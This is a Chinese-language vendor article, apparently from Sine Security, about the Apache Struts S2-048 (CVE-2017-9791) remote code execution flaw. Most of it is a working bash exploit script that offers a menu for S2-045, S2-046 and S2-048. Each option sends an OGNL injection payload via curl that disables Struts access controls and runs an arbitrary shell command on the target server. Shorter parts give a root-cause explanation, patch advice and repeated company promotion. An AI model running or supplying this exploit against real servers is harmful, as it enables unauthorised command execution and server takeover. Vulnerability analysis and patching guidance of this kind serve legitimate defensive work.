Apache Struts 2.3.x的strus1插件存在远程代码执行的高危漏洞,漏洞编号为
CVE-2017-9791(S2-048)。在Struts 2.3.x 版本上的Showcase 插件ActionMessage
类中,通过构建不可信的输入可实现远程命令攻击。漏洞成因是当ActionMessage接
收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。
攻击者可以构造恶意的字段值通过Struts2的Struts1的插件,远程执行代码,大概意
思就是说“Struts 2.3.x系列中的Struts 1插件示例中的Struts Showcase应用程序
中可以执行系统命令。Sine安全公司是一家专注于:服务器安全、网站安全、网站安
全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
先分析一下这个漏洞,由于是struts2-showcase应用里面导致的,按照 Apache官方
网站文档里的写法才会导致这种问题。
Struts2 (S2-048)POC:
#! /bin/bash
eses(){
echo -e " "
echo -e " struts2-045 046 048 Exploit Poc BySINESAFE "
echo -e " "
echo -e " [1]Struts2-045 "
echo -e " [2]Struts2-046 "
echo -e " [3]Struts2-048 "
echo -e " > \c "
read st2045
case $st2045 in
1)
echo -e " > \c "
read url
echo -e " > \c "
read cmd
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
;;
2)
echo -e " > \c "
read url1
echo -e " > \c "
read cmd2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd2"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url1" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
;;
3)
echo -e " > \c "
read url
echo -e " > \c "
read cmd3
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd3').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
;;
esac
}
eses
上面的漏洞POC中我们可以看出,这个漏洞本质上是在Apache struts2-struts1-
plugin这个jar包里,这个库是用将Apache struts1的action封装成Apache struts2
的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中
Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式
,通过调用getText的输入内容,插入恶意的攻击参数,导致该漏洞可以执行Linux系
统命令,并被黑客所利用直接获取管理员权限。Sine安全公司是一家专注于:服务器
安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安
全服务提供商。
以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的
execute方法代码如下,从红框中信息可以看出其实质是调用
SaveGangsterAction.execute方法,然后再调用getText(msg.getKey()….)
S2-048修复方案
一、升级Apache Struts到2.5.10.1最新版本。
二、避免使用Apache struts2-struts1-plugin这个插件。非必要的情况下可以将
Apache struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中直接删
除。如果使用该插件时避免使用拼接的方式将原始消息直接传递给ActionMessage。
如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.